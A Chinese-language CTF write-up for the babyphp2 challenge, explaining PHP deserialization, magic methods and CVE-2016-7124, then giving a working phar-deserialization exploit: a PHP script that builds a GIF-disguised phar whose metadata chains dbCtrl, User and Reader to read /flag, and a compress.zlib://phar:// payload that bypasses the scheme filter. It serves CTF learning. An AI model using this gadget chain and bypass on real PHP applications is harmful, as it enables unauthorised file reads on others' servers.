[程式碼審計][PHAR]巔峰極客babyphp2學習壓縮過濾器觸發phar

2020-09-30 14:00:20

前言:我要當賽棍!!!

序列化與反序列化

基本介紹

  • 序列化是將變數轉換為可儲存或傳輸字串的過程
  • 反序列化就是在適當的時候把這個字串再轉化成之前的變數來使用
  • php進行序列化的目的是儲存一個物件方便以後重用
  • php提供了serialize和unserialize函數用以進行序列化和反序列化的操作
  • Serialize將變數轉化為字串並且在轉換中儲存當前變數的值
  • Unserialize將serialize生成的字串變換回變數

PHP反序列化漏洞原理

  • php反序列化漏洞又稱物件注入,其可能會導致注入,遠端程式碼執行等安全問題的發生。
  • php反序列化漏洞如何產生:
    如果一個php程式碼中使用了unserialize函數去呼叫某類, 該類中會自動執行一些自定義的魔術方法,並且這些魔術方法中若包含了一些危險的操作,或者這些魔術方法會去呼叫類中其他帶有危險操作的函數,如果這些危險操作中有我們可控的敏感引數,那麼就可以執行一些自定義的操作。

常用的魔法函數

知只是簡單列出便於複習,具體的用法可以檢視下面參考文獻當中的PHP之十六個魔術方法詳解
__construct(),類別建構函式
__destruct(),類的解構函式
__call(),在物件上下文中呼叫不可存取的方法時觸發
__callStatic(),用靜態方式中呼叫一個不可存取方法時呼叫
__get(),用於從不可存取的屬性讀取資料
__set(),用於將資料寫入不可存取的屬性
__isset(),在不可存取的屬性上呼叫isset()或empty()觸發
__unset(),在不可存取的屬性上使用unset()時觸發
__sleep(),執行serialize()時,先會呼叫這個函數
__wakeup(),執行unserialize()時,先會呼叫這個函數
__toString(),類被當成字串時的迴應方法
__invoke(),當指令碼嘗試將物件呼叫為函數時觸發
__set_state(),呼叫var_export()匯出類時,此靜態方法會被呼叫
__clone(),當物件複製完成時呼叫
__autoload(),嘗試載入未定義的類
__debugInfo(),列印所需偵錯資訊

__wakeup()繞過:CVE-2016-7124

  • 存在漏洞的PHP版本: 5.6.25之前以及7.0.10之前的7.x版本
  • 漏洞概述: __wakeup()魔法函數被繞過,導致執行了一些非預期效果的漏洞
  • 漏洞原理: 當物件的屬性(變數)數大於實際的個數時,__wakeup()魔法函數被繞過
太簡單了,不想多說,具體可以看我上一篇文章詳細解釋

[漏洞利用] CVE-2016-7124 漏洞復現(總結自一CTF題目)

__set:巔峰極客babyphp2

解決phar:// 不能出現在首部

這時候我們可以利用compress.zlib://compress.bzip2://函數,compress.zlib://compress.bzip2://同樣適用於phar://

payload: compress.zlib://phar://phar.phar/test.txt

本題關鍵原始碼

這道題是原始碼洩露有類,有上傳,有檔案讀取,很明顯的Phar反序列化,下面展示出關鍵原始碼
Reader類

Class Reader{
    public $filename;
    public $result;
    public function read($filename){
        if (preg_match("/flag/i",$filename)){
            die("想多了嗷");
        }
        if (preg_match("/sh/i",$filename)){
            die("nooooooooooo!");
        }
        if (preg_match("/^php|^file|^gopher|^http|^https|^ftp|^data|^phar|^smtp|^dict|^zip/i",$filename)){
            die("Invid Schema!");
        }
        echo file_get_contents($filename);
    }
    public function __set($name,$val){
        echo file_get_contents($val);
}
}

dbCtrl類

class dbCtrl
{
    public $token;
    public function __construct()
    {
        $this->name=$_POST['username'];
        $this->password=$_POST['password'];
    }
    public function __destruct(){
        echo $this->token;
    }
}

User類

class User
{
    public $id;
    public $age=null;
    public $nickname=null;
    public $backup;
    public function read(){
        $reader=new reader();
        $reader->read($_POST['filename']);
    }
    public function __toString()
    {
        $this->nickname->backup=$this->backup;
        $user = new User();
        $user->id = $_SESSION['id'];
        $user->nickname = $_SESSION['token'];
        return serialize($user);
    }
}

Phar利用

簡單分析:
首先dbCtrl類物件在銷燬後會呼叫echo函數,如果我們將token賦值為User類則會呼叫其中的__toString方法,利用nickname = new Reader()在執行$this->nickname->backup=$this->backup;的時候由於其沒有backup屬性所以__set方法會被呼叫

<?php

class User
{
    public $id;
    public $age=null;
    public $nickname=null;
    public $backup;
    public function __construct()
    {
        $this->nickname = new Reader();
        $this->backup = "/flag";
    }
}
class dbCtrl
{
    public $token;
    public function __construct()
    {
        $this->token = new User;
    }
}

Class Reader{
    public $filename;
    public $result;
}

$y1ng = new dbCtrl();

$phar = new Phar("ichunqiu.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($y1ng);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();

@rename("ichunqiu.phar", "1.txt");

上傳得到路徑,因為讀檔案時對schema有過濾,利用壓縮過濾器觸發phar即可:compress.zlib://phar:///var/www/html/upload/某個md5.txt

參考文章

PHP序列化與反序列化(大比武_CTF課_第四天)
從CTF中學習PHP反序列化的各種利用方式
PHP之十六個魔術方法詳解